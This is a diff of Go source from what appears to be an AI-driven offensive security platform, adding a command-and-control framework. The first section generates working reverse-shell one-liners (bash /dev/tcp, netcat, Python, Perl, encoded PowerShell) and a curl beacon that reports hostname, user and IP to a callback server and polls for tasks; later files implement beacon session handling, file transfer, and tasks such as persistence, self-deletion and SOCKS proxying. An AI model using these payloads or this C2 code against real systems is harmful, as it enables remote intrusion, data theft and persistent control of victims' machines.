if err := SafeBindPort(in.Port); err != nil {
|
||||
return "", err
|
||||
}
|
||||
// 用 bash -c 包裹,确保在 zsh/sh 等非 bash shell 中也能正确执行
|
||||
// /dev/tcp 是 bash 特有的伪设备,必须由 bash 进程解释
|
||||
return fmt.Sprintf(`bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1'`, host, in.Port), nil
|
||||
|
||||
case OnelinerNc:
|
||||
if err := SafeBindPort(in.Port); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fmt.Sprintf(`nc -e /bin/sh %s %d`, host, in.Port), nil
|
||||
|
||||
case OnelinerNcMkfifo:
|
||||
if err := SafeBindPort(in.Port); err != nil {
|
||||
return "", err
|
||||
}
|
||||
// 双向 mkfifo 写法,对没有 -e 的 nc/openbsd-nc 也能用
|
||||
return fmt.Sprintf(
|
||||
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f`,
|
||||
host, in.Port,
|
||||
), nil
|
||||
|
||||
case OnelinerPython:
|
||||
if err := SafeBindPort(in.Port); err != nil {
|
||||
return "", err
|
||||
}
|
||||
// python -c 单引号包裹,内部用三引号或转义会引发兼容性问题,改用 base64 解码再 exec
|
||||
py := fmt.Sprintf(
|
||||
`import socket,os,pty;s=socket.socket();s.connect(("%s",%d));[os.dup2(s.fileno(),x) for x in (0,1,2)];pty.spawn("/bin/sh")`,
|
||||
host, in.Port,
|
||||
)
|
||||
// 用 b64 包装规避目标 shell 引号问题
|
||||
return fmt.Sprintf(
|
||||
`python3 -c "import base64,sys;exec(base64.b64decode('%s').decode())"`,
|
||||
b64StdEncode(py),
|
||||
), nil
|
||||
|
||||
case OnelinerPerl:
|
||||
if err := SafeBindPort(in.Port); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fmt.Sprintf(
|
||||
`perl -e 'use Socket;$i="%s";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`,
|
||||
host, in.Port,
|
||||
), nil
|
||||
|
||||
case OnelinerPowerShell:
|
||||
if err := SafeBindPort(in.Port); err != nil {
|
||||
return "", err
|
||||
}
|
||||
// PowerShell TCP 反弹(不依赖 .NET old 版本)
|
||||
ps := fmt.Sprintf(
|
||||
`$c=New-Object System.Net.Sockets.TcpClient('%s',%d);$s=$c.GetStream();[byte[]]$b=0..65535|%%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|Out-String);$o2=$o+'PS '+(pwd).Path+'> ';$by=([text.encoding]::ASCII).GetBytes($o2);$s.Write($by,0,$by.Length);$s.Flush()};$c.Close()`,
|
||||
host, in.Port,
|
||||
)
|
||||
return fmt.Sprintf(
|
||||
`powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand %s`,
|
||||
utf16LEBase64(ps),
|
||||
), nil
|
||||
|
||||
case OnelinerCurl:
|
||||
if strings.TrimSpace(in.HTTPBaseURL) == "" {
|
||||
return "", fmt.Errorf("http_base_url is required for curl_beacon")
|
||||
}
|
||||
if strings.TrimSpace(in.ImplantToken) == "" {
|
||||
return "", fmt.Errorf("implant_token is required for curl_beacon")
|
||||
}
|
||||
base := strings.TrimRight(in.HTTPBaseURL, "/")
|
||||
return fmt.Sprintf(
|
||||
`bash -c 'H="X-Implant-Token: %s";`+
|
||||
`URL="%s";`+
|
||||
`HN=$(hostname 2>/dev/null||echo unknown);`+
|
||||
`UN=$(whoami 2>/dev/null||echo unknown);`+
|
||||
`OS=$(uname -s 2>/dev/null||echo unknown);`+
|
||||
`AR=$(uname -m 2>/dev/null||echo unknown);`+
|
||||
`IP=$(hostname -I 2>/dev/null|awk "{print \$1}"||echo "");`+
|
||||
`SID="";`+
|
||||
`while :;do `+
|
||||
`BODY="{\"hostname\":\"$HN\",\"username\":\"$UN\",\"os\":\"$OS\",\"arch\":\"$AR\",\"internal_ip\":\"$IP\",\"pid\":$$}";`+
|
||||
`R=$(curl -fsSk -H "$H" -H "Content-Type: application/json" -X POST "$URL/check_in" -d "$BODY" 2>/dev/null);`+
|
||||
`if [ -n "$R" ]&&[ -z "$SID" ];then SID=$(echo "$R"|grep -o "\"session_id\":\"[^\"]*\""|head -1|cut -d"\"" -f4);fi;`+
|
||||
`if [ -n "$SID" ];then `+
|
||||
`T=$(curl -fsSk -H "$H" -G "$URL/tasks?session_id=$SID" 2>/dev/null);`+
|
||||
`fi;`+
|
||||
`sleep 5;`+
|
||||
`done' &`,
|
||||
in.ImplantToken, base,
|
||||
), nil
|
||||
}
|
||||
return "", fmt.Errorf("unsupported oneliner kind: %s", in.Kind)
|
||||
}
|
||||
|
||||
// urlEncodeForShell URL 编码字符串,避免特殊字符在 shell 中破坏转义
|
||||
func urlEncodeForShell(s string) string {
|
||||
return url.QueryEscape(s)
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,109 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// SessionWatchdog 会话心跳看门狗:周期扫描所有 active/sleeping 会话,
|
||||
// 把超过 (sleep * (1 + jitter%) * graceFactor + minGrace) 仍未心跳的标为 dead。
|
||||
//
|
||||
// 设计要点:
|
||||
// - 单 goroutine + ticker,避免对每个会话开 timer,session 数量大时也线性 OK;
|
||||
// - 阈值随会话自身 sleep/jitter 自适应(sleep=300s 的会话不能用 sleep=5s 的判定);
|
||||
// - 全局最小宽限期 minGrace 避免 sleep 配置错误的会话被误判;
|
||||
// - 不读 implant_uuid,纯按 last_check_in 字段,与 listener 类型解耦。
|
||||
type SessionWatchdog struct {
|
||||
manager *Manager
|
||||
logger *zap.Logger
|
||||
interval time.Duration // 扫描周期,默认 15s
|
||||
minGrace time.Duration // 最小宽限期,默认 30s
|
||||
gracePct float64 // 心跳超时倍数,默认 3.0(即 3 倍 sleep 周期没心跳算掉线)
|
||||
stopCh chan struct{}
|
||||
}
|
||||
|
||||
// NewSessionWatchdog 创建看门狗
|
||||
func NewSessionWatchdog(m *Manager) *SessionWatchdog {
|
||||
return &SessionWatchdog{
|
||||
manager: m,
|
||||
logger: m.Logger().With(zap.String("component", "c2-watchdog")),
|
||||
interval: 15 * time.Second,
|
||||
minGrace: 30 * time.Second,
|
||||
gracePct: 3.0,
|
||||
stopCh: make(chan struct{}),
|
||||
}
|
||||
}
|
||||
|
||||
// Run 阻塞执行,直到 ctx.Done() 或 Stop()
|
||||
func (w *SessionWatchdog) Run(ctx context.Context) {
|
||||
t := time.NewTicker(w.interval)
|
||||
defer t.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-w.stopCh:
|
||||
return
|
||||
case <-t.C:
|
||||
w.tick()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop 停止
|
||||
func (w *SessionWatchdog) Stop() {
|
||||
select {
|
||||
case <-w.stopCh:
|
||||
default:
|
||||
close(w.stopCh)
|
||||
}
|
||||
}
|
||||
|
||||
func (w *SessionWatchdog) tick() {
|
||||
now := time.Now()
|
||||
for _, status := range []string{string(SessionActive), string(SessionSleeping)} {
|
||||
sessions, err := w.manager.DB().ListC2Sessions(database.ListC2SessionsFilter{Status: status})
|
||||
if err != nil {
|
||||
w.logger.Warn("watchdog 列表查询失败", zap.Error(err))
|
||||
continue
|
||||
}
|
||||
for _, s := range sessions {
|
||||
if w.isStale(s, now) {
|
||||
if err := w.manager.MarkSessionDead(s.ID); err != nil {
|
||||
w.logger.Warn("标记会话掉线失败", zap.String("session_id", s.ID), zap.Error(err))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// isStale 判断会话是否超时
|
||||
func (w *SessionWatchdog) isStale(s *database.C2Session, now time.Time) bool {
|
||||
// 无心跳记录:以 first_seen_at 兜底
|
||||
last := s.LastCheckIn
|
||||
if last.IsZero() {
|
||||
last = s.FirstSeenAt
|
||||
}
|
||||
sleep := s.SleepSeconds
|
||||
if sleep <= 0 {
|
||||
// TCP reverse 模式 sleep=0 → 用最小宽限期判定
|
||||
return now.Sub(last) > w.minGrace*2
|
||||
}
|
||||
jitter := s.JitterPercent
|
||||
if jitter < 0 {
|
||||
jitter = 0
|
||||
}
|
||||
if jitter > 100 {
|
||||
jitter = 100
|
||||
}
|
||||
// 阈值 = sleep * (1 + jitter%) * gracePct,再加 minGrace 兜底
|
||||
expected := time.Duration(float64(sleep)*(1+float64(jitter)/100.0)*w.gracePct) * time.Second
|
||||
if expected < w.minGrace {
|
||||
expected = w.minGrace
|
||||
}
|
||||
return now.Sub(last) > expected
|
||||
}
|
||||
@@ -0,0 +1,267 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"crypto/subtle"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// tcpBeaconMagic 二进制 Beacon 在反向 TCP 连接建立后首先发送的 4 字节,用于与经典 shell 反弹区分。
|
||||
const tcpBeaconMagic = "CSB1"
|
||||
|
||||
// tcpBeaconMaxFrame 单帧密文(base64 字符串)最大字节数,防止 OOM。
|
||||
const tcpBeaconMaxFrame = 64 << 20
|
||||
|
||||
func readTCPBeaconFrame(r *bufio.Reader) (cipherB64 string, err error) {
|
||||
var n uint32
|
||||
if err = binary.Read(r, binary.BigEndian, &n); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if n == 0 || int64(n) > int64(tcpBeaconMaxFrame) {
|
||||
return "", fmt.Errorf("invalid tcp beacon frame size")
|
||||
}
|
||||
buf := make([]byte, n)
|
||||
if _, err = io.ReadFull(r, buf); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return string(buf), nil
|
||||
}
|
||||
|
||||
func writeTCPBeaconFrame(mu *sync.Mutex, conn net.Conn, cipherB64 string) error {
|
||||
if mu != nil {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
}
|
||||
payload := []byte(cipherB64)
|
||||
if len(payload) > tcpBeaconMaxFrame {
|
||||
return fmt.Errorf("frame too large")
|
||||
}
|
||||
var hdr [4]byte
|
||||
binary.BigEndian.PutUint32(hdr[:], uint32(len(payload)))
|
||||
if _, err := conn.Write(hdr[:]); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err := conn.Write(payload)
|
||||
return err
|
||||
}
|
||||
|
||||
func tcpBeaconCheckToken(expected, got string) bool {
|
||||
if got == "" || expected == "" {
|
||||
return false
|
||||
}
|
||||
return subtle.ConstantTimeCompare([]byte(got), []byte(expected)) == 1
|
||||
}
|
||||
|
||||
// handleTCPBeaconSession 处理已消费魔数 CSB1 之后的 TCP Beacon 会话(与 HTTP Beacon 相同的 AES-GCM + JSON 语义)。
|
||||
func (l *TCPReverseListener) handleTCPBeaconSession(conn net.Conn, br *bufio.Reader) {
|
||||
var writeMu sync.Mutex
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
|
||||
for {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(6 * time.Minute))
|
||||
cipherB64, err := readTCPBeaconFrame(br)
|
||||
if err != nil {
|
||||
if err != io.EOF && !isClosedConnErr(err) {
|
||||
l.logger.Debug("tcp beacon read frame", zap.Error(err))
|
||||
}
|
||||
return
|
||||
}
|
||||
plain, err := DecryptAESGCM(l.rec.EncryptionKey, cipherB64)
|
||||
if err != nil {
|
||||
l.logger.Warn("tcp beacon decrypt failed", zap.Error(err))
|
||||
return
|
||||
}
|
||||
|
||||
var env map[string]json.RawMessage
|
||||
if err := json.Unmarshal(plain, &env); err != nil {
|
||||
l.logger.Warn("tcp beacon json", zap.Error(err))
|
||||
return
|
||||
}
|
||||
opBytes, ok := env["op"]
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
var op string
|
||||
if err := json.Unmarshal(opBytes, &op); err != nil {
|
||||
return
|
||||
}
|
||||
var token string
|
||||
if tb, ok := env["token"]; ok {
|
||||
_ = json.Unmarshal(tb, &token)
|
||||
}
|
||||
if !tcpBeaconCheckToken(l.rec.ImplantToken, token) {
|
||||
l.logger.Warn("tcp beacon bad token", zap.String("listener_id", l.rec.ID))
|
||||
return
|
||||
}
|
||||
|
||||
var resp interface{}
|
||||
switch op {
|
||||
case "check_in":
|
||||
rawCheck, ok := env["check"]
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
var req ImplantCheckInRequest
|
||||
if err := json.Unmarshal(rawCheck, &req); err != nil {
|
||||
return
|
||||
}
|
||||
if req.UserAgent == "" {
|
||||
req.UserAgent = "tcp_beacon"
|
||||
}
|
||||
if req.SleepSeconds <= 0 {
|
||||
req.SleepSeconds = l.cfg.DefaultSleep
|
||||
}
|
||||
host, _, _ := net.SplitHostPort(conn.RemoteAddr().String())
|
||||
if req.Metadata == nil {
|
||||
req.Metadata = map[string]interface{}{}
|
||||
}
|
||||
req.Metadata["transport"] = "tcp_beacon"
|
||||
req.Metadata["remote"] = conn.RemoteAddr().String()
|
||||
if strings.TrimSpace(req.InternalIP) == "" {
|
||||
req.InternalIP = host
|
||||
}
|
||||
session, err := l.manager.IngestCheckIn(l.rec.ID, req)
|
||||
if err != nil {
|
||||
l.logger.Warn("tcp beacon check_in", zap.Error(err))
|
||||
return
|
||||
}
|
||||
queued, _ := l.manager.DB().ListC2Tasks(database.ListC2TasksFilter{
|
||||
SessionID: session.ID,
|
||||
Status: string(TaskQueued),
|
||||
Limit: 1,
|
||||
})
|
||||
resp = ImplantCheckInResponse{
|
||||
SessionID: session.ID,
|
||||
NextSleep: session.SleepSeconds,
|
||||
NextJitter: session.JitterPercent,
|
||||
HasTasks: len(queued) > 0,
|
||||
ServerTime: NowUnixMillis(),
|
||||
}
|
||||
|
||||
case "tasks":
|
||||
rawSID, ok := env["session_id"]
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
var sessionID string
|
||||
if err := json.Unmarshal(rawSID, &sessionID); err != nil || sessionID == "" {
|
||||
return
|
||||
}
|
||||
sess, err := l.manager.DB().GetC2Session(sessionID)
|
||||
if err != nil || sess == nil || sess.ListenerID != l.rec.ID {
|
||||
return
|
||||
}
|
||||
envelopes, err := l.manager.PopTasksForBeacon(sessionID, 50)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if envelopes == nil {
|
||||
envelopes = []TaskEnvelope{}
|
||||
}
|
||||
resp = map[string]interface{}{"tasks": envelopes}
|
||||
|
||||
case "result":
|
||||
raw, ok := env["result"]
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
var report TaskResultReport
|
||||
if err := json.Unmarshal(raw, &report); err != nil {
|
||||
return
|
||||
}
|
||||
if err := l.manager.IngestTaskResult(report); err != nil {
|
||||
return
|
||||
}
|
||||
resp = map[string]string{"ok": "1"}
|
||||
|
||||
case "upload":
|
||||
raw, ok := env["upload"]
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
var up struct {
|
||||
TaskID string `json:"task_id"`
|
||||
DataB64 string `json:"data_b64"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &up); err != nil || up.TaskID == "" {
|
||||
return
|
||||
}
|
||||
plainFile, err := base64.StdEncoding.DecodeString(up.DataB64)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
dir := filepath.Join(l.manager.StorageDir(), "uploads")
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
return
|
||||
}
|
||||
dst := filepath.Join(dir, up.TaskID+".bin")
|
||||
if err := os.WriteFile(dst, plainFile, 0o644); err != nil {
|
||||
return
|
||||
}
|
||||
resp = map[string]interface{}{"ok": 1, "size": len(plainFile)}
|
||||
|
||||
case "file":
|
||||
raw, ok := env["file"]
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
var fr struct {
|
||||
FileID string `json:"file_id"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &fr); err != nil || fr.FileID == "" {
|
||||
return
|
||||
}
|
||||
if strings.Contains(fr.FileID, "/") || strings.Contains(fr.FileID, "\\") || strings.Contains(fr.FileID, "..") {
|
||||
return
|
||||
}
|
||||
fpath := filepath.Join(l.manager.StorageDir(), "downstream", fr.FileID+".bin")
|
||||
absPath, err := filepath.Abs(fpath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
absDir, err := filepath.Abs(filepath.Join(l.manager.StorageDir(), "downstream"))
|
||||
if err != nil || !strings.HasPrefix(absPath, absDir+string(filepath.Separator)) {
|
||||
return
|
||||
}
|
||||
data, err := os.ReadFile(absPath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
resp = map[string]interface{}{
|
||||
"file_data": base64Encode(data),
|
||||
}
|
||||
|
||||
default:
|
||||
return
|
||||
}
|
||||
|
||||
body, err := json.Marshal(resp)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
enc, err := EncryptAESGCM(l.rec.EncryptionKey, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(3 * time.Minute))
|
||||
if err := writeTCPBeaconFrame(&writeMu, conn, enc); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,258 @@
|
||||
// Package c2 实现 CyberStrikeAI 内置 C2(Command & Control)框架。
|
||||
//
|
||||
// 设计概述:
|
||||
// - Manager 作为统一入口,被 internal/app 实例化并注入到所有需要操控 C2 的组件
|
||||
// (HTTP handler、MCP 工具、HITL 桥、攻击链记录器等)。
|
||||
// - Listener 是抽象接口,下挂 tcp_reverse / http_beacon / https_beacon / websocket
|
||||
// 等不同传输方式的具体实现,全部通过 listener.Registry 工厂创建。
|
||||
// - 任务调度走数据库(c2_tasks 表)+ 内存事件总线(EventBus)混合:
|
||||
// * 状态变化与历史记录靠 SQLite 实现持久化与重启恢复;
|
||||
// * 高频实时通知(如新任务结果)通过 EventBus 推送给 SSE/WS 订阅者,避免轮询。
|
||||
// - Crypto 层固定 AES-256-GCM,每个 Listener 独立 32 字节密钥;密钥仅服务端持有
|
||||
// 和编译期注入到 implant,事件流不允许导出明文密钥。
|
||||
package c2
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ListenerType 监听器类型,与 c2_listeners.type 字段一致
|
||||
type ListenerType string
|
||||
|
||||
const (
|
||||
ListenerTypeTCPReverse ListenerType = "tcp_reverse"
|
||||
ListenerTypeHTTPBeacon ListenerType = "http_beacon"
|
||||
ListenerTypeHTTPSBeacon ListenerType = "https_beacon"
|
||||
ListenerTypeWebSocket ListenerType = "websocket"
|
||||
)
|
||||
|
||||
// AllListenerTypes 列出所有受支持的监听器类型,便于校验与前端枚举
|
||||
func AllListenerTypes() []ListenerType {
|
||||
return []ListenerType{
|
||||
ListenerTypeTCPReverse,
|
||||
ListenerTypeHTTPBeacon,
|
||||
ListenerTypeHTTPSBeacon,
|
||||
ListenerTypeWebSocket,
|
||||
}
|
||||
}
|
||||
|
||||
// IsValidListenerType 校验前端/MCP 入参是否为合法 type
|
||||
func IsValidListenerType(t string) bool {
|
||||
t = strings.ToLower(strings.TrimSpace(t))
|
||||
for _, lt := range AllListenerTypes() {
|
||||
if string(lt) == t {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// SessionStatus 与 c2_sessions.status 一致
|
||||
type SessionStatus string
|
||||
|
||||
const (
|
||||
SessionActive SessionStatus = "active"
|
||||
SessionSleeping SessionStatus = "sleeping"
|
||||
SessionDead SessionStatus = "dead"
|
||||
SessionKilled SessionStatus = "killed"
|
||||
)
|
||||
|
||||
// TaskStatus 与 c2_tasks.status 一致
|
||||
type TaskStatus string
|
||||
|
||||
const (
|
||||
TaskQueued TaskStatus = "queued"
|
||||
TaskSent TaskStatus = "sent"
|
||||
TaskRunning TaskStatus = "running"
|
||||
TaskSuccess TaskStatus = "success"
|
||||
TaskFailed TaskStatus = "failed"
|
||||
TaskCancelled TaskStatus = "cancelled"
|
||||
)
|
||||
|
||||
// TaskType 任务类型(与 beacon 端协商,避免硬编码字符串)
|
||||
type TaskType string
|
||||
|
||||
const (
|
||||
// 通用任务
|
||||
TaskTypeExec TaskType = "exec" // 执行任意命令(shell -c)
|
||||
TaskTypeShell TaskType = "shell" // 交互式命令(保持 cwd)
|
||||
TaskTypePwd TaskType = "pwd" // 当前目录
|
||||
TaskTypeCd TaskType = "cd" // 切目录
|
||||
TaskTypeLs TaskType = "ls" // 列目录
|
||||
TaskTypePs TaskType = "ps" // 列进程
|
||||
TaskTypeKillProc TaskType = "kill_proc" // 杀进程
|
||||
TaskTypeUpload TaskType = "upload" // 推文件到目标
|
||||
TaskTypeDownload TaskType = "download" // 拉文件回本机
|
||||
TaskTypeScreenshot TaskType = "screenshot" // 截图
|
||||
TaskTypeSleep TaskType = "sleep" // 调整心跳节律
|
||||
TaskTypeExit TaskType = "exit" // 让 implant 退出(不会自删二进制)
|
||||
TaskTypeSelfDelete TaskType = "self_delete" // 退出 + 自删二进制(持久化清理)
|
||||
// 高级任务
|
||||
TaskTypePortFwd TaskType = "port_fwd"
|
||||
TaskTypeSocksStart TaskType = "socks_start"
|
||||
TaskTypeSocksStop TaskType = "socks_stop"
|
||||
TaskTypeLoadAssembly TaskType = "load_assembly"
|
||||
TaskTypePersist TaskType = "persist"
|
||||
)
|
||||
|
||||
// AllTaskTypes 全部 task_type,便于工具 schema 列出 enum
|
||||
func AllTaskTypes() []TaskType {
|
||||
return []TaskType{
|
||||
TaskTypeExec, TaskTypeShell,
|
||||
TaskTypePwd, TaskTypeCd, TaskTypeLs, TaskTypePs, TaskTypeKillProc,
|
||||
TaskTypeUpload, TaskTypeDownload, TaskTypeScreenshot,
|
||||
TaskTypeSleep, TaskTypeExit, TaskTypeSelfDelete,
|
||||
TaskTypePortFwd, TaskTypeSocksStart, TaskTypeSocksStop, TaskTypeLoadAssembly,
|
||||
TaskTypePersist,
|
||||
}
|
||||
}
|
||||
|
||||
// IsDangerousTaskType 标记需要 HITL 二次确认的任务类型;
|
||||
// 与 internal/handler/hitl.go 现有的 tool_whitelist 概念呼应:白名单外 → 走审批。
|
||||
func IsDangerousTaskType(t TaskType) bool {
|
||||
switch t {
|
||||
case TaskTypeKillProc, TaskTypeUpload, TaskTypeSelfDelete,
|
||||
TaskTypePortFwd, TaskTypeSocksStart, TaskTypeLoadAssembly, TaskTypePersist:
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ListenerConfig 解码后的监听器运行配置(来自 c2_listeners.config_json)
|
||||
type ListenerConfig struct {
|
||||
// HTTP/HTTPS Beacon 公共字段
|
||||
BeaconCheckInPath string `json:"beacon_check_in_path,omitempty"` // 默认 "/check_in"
|
||||
BeaconTasksPath string `json:"beacon_tasks_path,omitempty"` // 默认 "/tasks"
|
||||
BeaconResultPath string `json:"beacon_result_path,omitempty"` // 默认 "/result"
|
||||
BeaconUploadPath string `json:"beacon_upload_path,omitempty"` // 默认 "/upload"
|
||||
BeaconFilePath string `json:"beacon_file_path,omitempty"` // 默认 "/file/"
|
||||
// HTTPS 专属
|
||||
TLSCertPath string `json:"tls_cert_path,omitempty"`
|
||||
TLSKeyPath string `json:"tls_key_path,omitempty"`
|
||||
TLSAutoSelfSign bool `json:"tls_auto_self_sign,omitempty"` // true:找不到证书时自动生成自签
|
||||
// 客户端默认参数(写到 c2_sessions 初值,beacon 也可在 check-in 时覆写)
|
||||
DefaultSleep int `json:"default_sleep,omitempty"` // 秒,默认 5
|
||||
DefaultJitter int `json:"default_jitter,omitempty"` // 0-100,默认 0
|
||||
// OPSEC:可选命令黑名单(正则)
|
||||
CommandDenyRegex []string `json:"command_deny_regex,omitempty"`
|
||||
// 任务并发上限(每个会话同时下发的最大任务数,0 表示不限制)
|
||||
MaxConcurrentTasks int `json:"max_concurrent_tasks,omitempty"`
|
||||
// CallbackHost 植入端/Payload 使用的回连主机名(可选);与 bind_host 分离,便于 NAT/ECS 等场景
|
||||
CallbackHost string `json:"callback_host,omitempty"`
|
||||
}
|
||||
|
||||
// ApplyDefaults 对未填字段填默认值;调用方负责持久化时序列化新值
|
||||
func (c *ListenerConfig) ApplyDefaults() {
|
||||
if strings.TrimSpace(c.BeaconCheckInPath) == "" {
|
||||
c.BeaconCheckInPath = "/check_in"
|
||||
}
|
||||
if strings.TrimSpace(c.BeaconTasksPath) == "" {
|
||||
c.BeaconTasksPath = "/tasks"
|
||||
}
|
||||
if strings.TrimSpace(c.BeaconResultPath) == "" {
|
||||
c.BeaconResultPath = "/result"
|
||||
}
|
||||
if strings.TrimSpace(c.BeaconUploadPath) == "" {
|
||||
c.BeaconUploadPath = "/upload"
|
||||
}
|
||||
if strings.TrimSpace(c.BeaconFilePath) == "" {
|
||||
c.BeaconFilePath = "/file/"
|
||||
}
|
||||
if c.DefaultSleep <= 0 {
|
||||
c.DefaultSleep = 5
|
||||
}
|
||||
if c.DefaultJitter < 0 {
|
||||
c.DefaultJitter = 0
|
||||
}
|
||||
if c.DefaultJitter > 100 {
|
||||
c.DefaultJitter = 100
|
||||
}
|
||||
}
|
||||
|
||||
// ImplantCheckInRequest beacon → 服务端的注册/心跳请求体(已解密后的明文)
|
||||
type ImplantCheckInRequest struct {
|
||||
ImplantUUID string `json:"uuid"`
|
||||
Hostname string `json:"hostname"`
|
||||
Username string `json:"username"`
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
PID int `json:"pid"`
|
||||
ProcessName string `json:"process_name"`
|
||||
IsAdmin bool `json:"is_admin"`
|
||||
InternalIP string `json:"internal_ip"`
|
||||
UserAgent string `json:"user_agent,omitempty"`
|
||||
SleepSeconds int `json:"sleep_seconds"`
|
||||
JitterPercent int `json:"jitter_percent"`
|
||||
Metadata map[string]interface{} `json:"metadata,omitempty"`
|
||||
}
|
||||
|
||||
// ImplantCheckInResponse 服务端回执
|
||||
type ImplantCheckInResponse struct {
|
||||
SessionID string `json:"session_id"`
|
||||
NextSleep int `json:"next_sleep"`
|
||||
NextJitter int `json:"next_jitter"`
|
||||
HasTasks bool `json:"has_tasks"`
|
||||
ServerTime int64 `json:"server_time"`
|
||||
}
|
||||
|
||||
// TaskEnvelope 服务端 → beacon 的任务派发载体
|
||||
type TaskEnvelope struct {
|
||||
TaskID string `json:"task_id"`
|
||||
TaskType string `json:"task_type"`
|
||||
Payload map[string]interface{} `json:"payload"`
|
||||
}
|
||||
|
||||
// TaskResultReport beacon → 服务端的任务结果回传
|
||||
type TaskResultReport struct {
|
||||
TaskID string `json:"task_id"`
|
||||
Success bool `json:"success"`
|
||||
Output string `json:"output,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制
|
||||
BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png"
|
||||
StartedAt int64 `json:"started_at"`
|
||||
EndedAt int64 `json:"ended_at"`
|
||||
}
|
||||
|
||||
// CommonError C2 模块统一错误类型,便于 handler 层映射 HTTP 状态码
|
||||
type CommonError struct {
|
||||
Code string
|
||||
Message string
|
||||
HTTP int
|
||||
}
|
||||
|
||||
func (e *CommonError) Error() string {
|
||||
if e == nil {
|
||||
return ""
|
||||
}
|
||||
return e.Message
|
||||
}
|
||||
|
||||
// Sentinel errors,便于 errors.Is 比较
|
||||
var (
|
||||
ErrListenerNotFound = &CommonError{Code: "listener_not_found", Message: "监听器不存在", HTTP: 404}
|
||||
ErrSessionNotFound = &CommonError{Code: "session_not_found", Message: "会话不存在", HTTP: 404}
|
||||
ErrTaskNotFound = &CommonError{Code: "task_not_found", Message: "任务不存在", HTTP: 404}
|
||||
ErrProfileNotFound = &CommonError{Code: "profile_not_found", Message: "Profile 不存在", HTTP: 404}
|
||||
ErrInvalidInput = &CommonError{Code: "invalid_input", Message: "参数非法", HTTP: 400}
|
||||
ErrAuthFailed = &CommonError{Code: "auth_failed", Message: "鉴权失败", HTTP: 401}
|
||||
ErrPortInUse = &CommonError{Code: "port_in_use", Message: "端口已被占用", HTTP: 409}
|
||||
ErrListenerRunning = &CommonError{Code: "listener_running", Message: "监听器已在运行", HTTP: 409}
|
||||
ErrListenerStopped = &CommonError{Code: "listener_stopped", Message: "监听器未运行", HTTP: 409}
|
||||
ErrUnsupportedType = &CommonError{Code: "unsupported_type", Message: "不支持的监听器类型", HTTP: 400}
|
||||
)
|
||||
|
||||
// SafeBindPort 校验端口范围
|
||||
func SafeBindPort(port int) error {
|
||||
if port < 1 || port > 65535 {
|
||||
return errors.New("port must be in 1..65535")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// NowUnixMillis 统一时间戳工具
|
||||
func NowUnixMillis() int64 {
|
||||
return time.Now().UnixNano() / int64(time.Millisecond)
|
||||
}
|
||||
+368
-38
@@ -26,21 +26,50 @@ type Config struct {
|
||||
Security SecurityConfig `yaml:"security"`
|
||||
Database DatabaseConfig `yaml:"database"`
|
||||
Auth AuthConfig `yaml:"auth"`
|
||||
Audit AuditConfig `yaml:"audit,omitempty" json:"audit,omitempty"`
|
||||
ExternalMCP ExternalMCPConfig `yaml:"external_mcp,omitempty"`
|
||||
